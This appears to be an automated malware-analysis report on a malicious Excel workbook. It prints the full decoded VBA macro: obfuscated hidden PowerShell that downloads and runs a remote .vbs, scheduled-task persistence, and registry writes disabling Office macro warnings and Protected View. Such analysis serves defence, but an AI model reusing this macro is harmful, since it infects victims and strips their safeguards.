Office (OOXML) malware analysis — malicious · d98192aec681620b

MALICIOUS

Office (OOXML)

23.6 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-02-23

MD5: 87add50729fefa406ce8045d94350ced SHA-1: 8953f3f31d2bf5f4f0acc5fc1bf9cd0b573354e0 SHA-256: d98192aec681620bf40ac6bca836cf8cdc1479da5761866f3a7728d941251bb5

350 Risk Score

Heuristics 8

ClamAV: Xls.Downloader.Generic-6750544-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Downloader.Generic-6750544-0
VBA project inside OOXML medium 5 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA
Matched line in script
```
Shell (Last)
```
WScript.Shell usage critical OLE_VBA_WSCRIPT

WScript.Shell usage
Matched line in script
```
Set wso = CreateObject("WScript.Shell")
```
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Matched line in script
```
Set wso = CreateObject("WScript.Shell")
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://guelphupholstery.com/images/yupsia/61.vbs In document text (OOXML body / shared strings)
- http://guelphupholstery.com/images/yupsia/61.vbs\\In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	17823 bytes
SHA-256: `7f7425a56e422fffbfbba9a3d66fc713d0c4de6cfecc1ac6774f0e4fb94fb269`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "Module1" Sub Dolary() End Sub Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() exec0 = Chr(99) exec0 = exec0 & Chr(109) exec0 = exec0 & Chr(100) exec0 = exec0 & Chr(46) exec0 = exec0 & Chr(101) exec0 = exec0 & Chr(120) exec0 = exec0 & Chr(101) exec0 = exec0 & Chr(32) & Chr(47) exec0 = exec0 & Chr(99) exec0 = exec0 & Chr(32) & Chr(112) exec0 = exec0 & Chr(111) exec0 = exec0 & Chr(119) exec0 = exec0 & Chr(101) exec0 = exec0 & Chr(114) exec0 = exec0 & Chr(115) exec0 = exec0 & Chr(104) exec0 = exec0 & Chr(101) exec0 = exec0 & Chr(108) exec0 = exec0 & Chr(108) & Chr(32) & Chr(45) & Chr(87) exec0 = exec0 & Chr(32) & Chr(72) exec0 = exec0 & Chr(105) exec0 = exec0 & Chr(100) exec0 = exec0 & Chr(100) exec0 = exec0 & Chr(101) exec0 = exec0 & Chr(110) & Chr(32) & Chr(40) exec0 = exec0 & Chr(78) exec1 = Chr(101) exec1 = exec1 & Chr(119) exec1 = exec1 & Chr(45) exec1 = exec1 & Chr(79) exec1 = exec1 & Chr(98) exec1 = exec1 & Chr(106) exec1 = exec1 & Chr(101) exec1 = exec1 & Chr(99) exec1 = exec1 & Chr(116) & Chr(32) & Chr(83) exec1 = exec1 & Chr(121) exec1 = exec1 & Chr(115) exec1 = exec1 & Chr(116) exec1 = exec1 & Chr(101) exec1 = exec1 & Chr(109) exec1 = exec1 & Chr(46) exec1 = exec1 & Chr(78) exec1 = exec1 & Chr(101) exec1 = exec1 & Chr(84) exec1 = exec1 & Chr(46) exec1 = exec1 & Chr(87) exec1 = exec1 & Chr(101) exec1 = exec1 & Chr(66) exec1 = exec1 & Chr(67) exec2 = Chr(108) exec2 = exec2 & Chr(105) exec2 = exec2 & Chr(101) exec2 = exec2 & Chr(78) exec2 = exec2 & Chr(84) exec2 = exec2 & Chr(41) exec2 = exec2 & Chr(46) exec2 = exec2 & Chr(68) exec2 = exec2 & Chr(111) exec2 = exec2 & Chr(119) exec2 = exec2 & Chr(110) exec2 = exec2 & Chr(108) exec2 = exec2 & Chr(111) exec2 = exec2 & Chr(97) exec2 = exec2 & Chr(100) exec2 = exec2 & Chr(70) exec2 = exec2 & Chr(105) exec2 = exec2 & Chr(108) exec2 = exec2 & Chr(101) exec3 = "('http://guelphupholstery.com/images/yupsia/61.vbs'" exec4 = Chr(44) exec4 = exec4 & Chr(39) exec4 = exec4 & Chr(37) exec4 = exec4 & Chr(80) exec4 = exec4 & Chr(117) exec4 = exec4 & Chr(98) exec4 = exec4 & Chr(108) exec4 = exec4 & Chr(105) exec4 = exec4 & Chr(99) exec4 = exec4 & Chr(37) exec4 = exec4 & Chr(92) exec5 = Chr(92) exec5 = exec5 & Chr(115) exec5 = exec5 & Chr(118) exec5 = exec5 & Chr(99) exec5 = exec5 & Chr(104) exec5 = exec5 & Chr(111) exec5 = exec5 & Chr(115) exec5 = exec5 & Chr(116) exec5 = exec5 & Chr(51) exec5 = exec5 & Chr(50) exec5 = exec5 & Chr(46) exec5 = exec5 & Chr(118) exec5 = exec5 & Chr(98) exec5 = exec5 & Chr(115) exec6 = Chr(39) exec6 = exec6 & Chr(41) exec6 = exec6 & Chr(59) exec6 = exec6 & Chr(83) exec6 = exec6 & Chr(116) exec6 = exec6 & Chr(97) exec6 = exec6 & Chr(114) exec6 = exec6 & Chr(116) exec6 = exec6 & Chr(45) exec6 = exec6 & Chr(80) exec6 = exec6 & Chr(114) exec6 = exec6 & Chr(111) exec6 = exec6 & Chr(99) exec7 = Chr(101) & Chr(115) & Chr(115) & Chr(32) & Chr(39) & Chr(37) & Chr(80) exec8 = Chr(117) exec8 = exec8 & Chr(98) exec8 = exec8 & Chr(108) exec9 = Chr(105) exec9 = exec9 & Chr(99) exec9 = exec9 & Chr(37) exec010 = Chr(92) exec010 = exec010 & Chr(92) exec010 = exec010 & Chr(115) exec011 = Chr(118) exec012 = Chr(99) exec013 = Chr(104) & Chr(111) exec014 = Chr(115) exec014 = exec014 & Chr(116) exec014 = exec014 & Chr(51) exec014 = exec014 & Chr(50) exec014 = exec014 & Chr(46) exec014 = exec014 & Chr(118) exec014 = exec014 & Chr(98) exec014 = exec014 & Chr(115) exec014 = exec014 & Chr(39) Last = exec0 + exec1 + exec2 + exec3 + exec4 + exec5 + exec6 + exec7 + exec8 + exec9 + exec010 + exec011 + exec012 + exec013 + exec014 Shell (Last) exec00 = Chr(83) exec00 = exec00 & Chr(99) exec00 = exec00 & Chr(104) exec00 = exec00 & Chr(84) exec00 = exec00 & Chr(97) exec00 = exec00 & Chr(115) exec00 = exec00 & Chr(107) exec00 = exec00 & Chr(115) & Chr(32) & Chr(47) exec00 = exec00 & Chr(67) exec00 = exec00 & Chr(114) exec00 = exec00 & Chr(101) exec00 = exec00 & Chr(97) exec00 = exec00 & Chr(116) exec00 = exec00 & Chr(101) & Chr(32) & Chr(47) exec00 = exec00 & Chr(115) exec00 = exec00 & Chr(99) & Chr(32) & Chr(77) exec00 = exec00 & Chr(73) exec00 = exec00 & Chr(78) exec00 = exec00 & Chr(85) exec00 = exec00 & Chr(84) exec00 = exec00 & Chr(69) & Chr(32) & Chr(47) exec01 = Chr(77) exec01 = exec01 & Chr(79) & Chr(32) & Chr(49) & Chr(32) & Chr(47) exec01 = exec01 & Chr(84) exec01 = exec01 & Chr(78) & Chr(32) & Chr(87) exec01 = exec01 & Chr(105) exec01 = exec01 & Chr(110) exec01 = exec01 & Chr(100) exec01 = exec01 & Chr(111) exec01 = exec01 & Chr(119) exec01 = exec01 & Chr(115) exec01 = exec01 & Chr(85) exec01 = exec01 & Chr(112) exec01 = exec01 & Chr(100) exec01 = exec01 & Chr(97) exec01 = exec01 & Chr(116) exec01 = exec01 & Chr(101) & Chr(32) & Chr(47) exec01 = exec01 & Chr(84) exec01 = exec01 & "R ""P" exec02 = exec02 & Chr(111) exec02 = exec02 & Chr(119) exec02 = exec02 & Chr(101) exec02 = exec02 & Chr(114) exec02 = exec02 & Chr(115) exec02 = exec02 & Chr(104) exec02 = exec02 & Chr(101) exec02 = exec02 & Chr(108) exec02 = exec02 & Chr(108) & Chr(32) & Chr(45) exec02 = exec02 & Chr(119) exec02 = exec02 & Chr(105) exec02 = exec02 & Chr(110) exec02 = exec02 & Chr(100) exec02 = exec02 & Chr(111) exec02 = exec02 & Chr(119) exec02 = exec02 & Chr(115) exec02 = exec02 & Chr(116) exec02 = exec02 & Chr(121) exec02 = exec02 & Chr(108) exec02 = exec02 & Chr(101) & Chr(32) & Chr(104) exec02 = exec02 & Chr(105) exec02 = exec02 & Chr(100) exec02 = exec02 & Chr(100) exec02 = exec02 & Chr(101) exec02 = exec02 & Chr(110) & Chr(32) & Chr(40) exec02 = exec02 & Chr(78) exec02 = exec02 & Chr(101) exec02 = exec02 & Chr(119) exec02 = exec02 & Chr(45) exec02 = exec02 & Chr(79) exec02 = exec02 & Chr(98) exec02 = exec02 & Chr(106) exec02 = exec02 & Chr(101) exec02 = exec02 & Chr(99) exec02 = exec02 & Chr(116) & Chr(32) & Chr(83) exec02 = exec02 & Chr(121) exec03 = Chr(115) exec03 = exec03 & Chr(116) exec03 = exec03 & Chr(101) exec03 = exec03 & Chr(109) exec03 = exec03 & Chr(46) exec03 = exec03 & Chr(78) exec03 = exec03 & Chr(101) exec03 = exec03 & Chr(116) exec03 = exec03 & Chr(46) exec03 = exec03 & Chr(87) exec03 = exec03 & Chr(101) exec03 = exec03 & Chr(98) exec03 = exec03 & Chr(67) exec03 = exec03 & Chr(108) exec03 = exec03 & Chr(105) exec03 = exec03 & Chr(101) exec03 = exec03 & Chr(110) exec03 = exec03 & Chr(116) exec03 = exec03 & Chr(41) exec03 = exec03 & Chr(46) exec03 = exec03 & Chr(68) exec03 = exec03 & Chr(111) exec03 = exec03 & Chr(119) exec03 = exec03 & Chr(110) exec03 = exec03 & Chr(108) exec03 = exec03 & Chr(111) exec03 = exec03 & Chr(97) exec03 = exec03 & Chr(100) exec03 = exec03 & Chr(70) exec03 = exec03 & Chr(105) exec03 = exec03 & Chr(108) exec04 = Chr(101) exec04 = exec04 & Chr(40) exec04 = exec04 & Chr(92) exec04 = exec04 & Chr(92) exec04 = exec04 & "\""http://guelphupholstery.com/images/yupsia/61.vbs\\" exec05 = "\"",\\\""$" exec05 = exec05 & Chr(101) exec05 = exec05 & Chr(110) exec05 = exec05 & Chr(118) exec05 = exec05 & Chr(58) exec05 = exec05 & Chr(112) exec05 = exec05 & Chr(117) exec05 = exec05 & Chr(98) exec05 = exec05 & Chr(108) exec05 = exec05 & Chr(105) exec05 = exec05 & Chr(99) exec05 = exec05 & Chr(92) exec05 = exec05 & Chr(115) exec05 = exec05 & Chr(118) exec05 = exec05 & Chr(99) exec05 = exec05 & Chr(104) exec05 = exec05 & Chr(111) exec05 = exec05 & Chr(115) exec05 = exec05 & Chr(116) exec05 = exec05 & Chr(51) exec05 = exec05 & Chr(50) exec05 = exec05 & Chr(46) exec05 = exec05 & Chr(118) exec05 = exec05 & Chr(98) exec05 = exec05 & Chr(115) exec05 = exec05 & Chr(92) exec06 = Chr(92) exec06 = exec06 & "\"")" exec06 = exec06 & Chr(59) exec06 = exec06 & Chr(40) exec06 = exec06 & Chr(78) exec06 = exec06 & Chr(101) exec06 = exec06 & Chr(119) exec06 = exec06 & Chr(45) exec06 = exec06 & Chr(79) exec06 = exec06 & Chr(98) exec06 = exec06 & Chr(106) exec06 = exec06 & Chr(101) exec06 = exec06 & Chr(99) exec06 = exec06 & Chr(116) & Chr(32) & Chr(45) exec06 = exec06 & Chr(99) exec06 = exec06 & Chr(111) exec06 = exec06 & Chr(109) & Chr(32) & Chr(83) exec06 = exec06 & Chr(104) exec06 = exec06 & Chr(101) exec06 = exec06 & Chr(108) exec06 = exec06 & Chr(108) exec06 = exec06 & Chr(46) exec06 = exec06 & Chr(65) exec06 = exec06 & Chr(112) exec06 = exec06 & Chr(112) exec07 = Chr(108) exec07 = exec07 & Chr(105) exec07 = exec07 & Chr(99) exec07 = exec07 & Chr(97) exec07 = exec07 & Chr(116) exec07 = exec07 & Chr(105) exec07 = exec07 & Chr(111) exec07 = exec07 & Chr(110) exec07 = exec07 & Chr(41) exec07 = exec07 & Chr(46) exec07 = exec07 & Chr(83) exec07 = exec07 & Chr(104) exec07 = exec07 & Chr(101) exec07 = exec07 & Chr(108) exec07 = exec07 & Chr(108) exec07 = exec07 & Chr(69) exec07 = exec07 & Chr(120) exec08 = Chr(101) exec08 = exec08 & Chr(99) exec08 = exec08 & Chr(117) exec08 = exec08 & Chr(116) exec08 = exec08 & Chr(101) exec08 = exec08 & Chr(40) exec08 = exec08 & Chr(92) exec08 = exec08 & Chr(92) exec08 = exec08 & "\""$" exec09 = Chr(101) exec09 = exec09 & Chr(110) exec09 = exec09 & Chr(118) exec09 = exec09 & Chr(58) exec09 = exec09 & Chr(112) exec0010 = Chr(117) exec0010 = exec0010 & Chr(98) exec0010 = exec0010 & Chr(108) exec0010 = exec0010 & Chr(105) exec0011 = Chr(99) exec0011 = exec0011 & Chr(92) exec0011 = exec0011 & Chr(115) exec0011 = exec0011 & Chr(118) exec0011 = exec0011 & Chr(99) exec0012 = Chr(104) exec0012 = exec0012 & Chr(111) exec0012 = exec0012 & Chr(115) exec0013 = Chr(116) exec0013 = exec0013 & Chr(51) exec0013 = exec0013 & Chr(50) exec0013 = exec0013 & Chr(46) exec0014 = Chr(118) exec0014 = exec0014 & Chr(98) exec0014 = exec0014 & Chr(115) exec0014 = exec0014 & Chr(92) exec0014 = exec0014 & Chr(92) exec0014 = exec0014 & "\"")" exec0014 = exec0014 & ";"" /" exec0014 = exec0014 & Chr(70) Last0001 = exec00 + exec01 + exec02 + exec03 + exec04 + exec05 + exec06 + exec07 + exec08 + exec09 + exec0010 + exec0011 + exec0012 + exec0013 + exec0014 Shell (Last0001) Set wso = CreateObject("WScript.Shell") wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" End Sub Attribute VB_Name = "Sheet1" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	68608 bytes
SHA-256: `3d8b9b9eb7a7a6aa882577a67d364ef97ea6409d0ac3368440adf17293557687`
Detection ClamAV: Xls.Downloader.Generic-6750544-0 Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.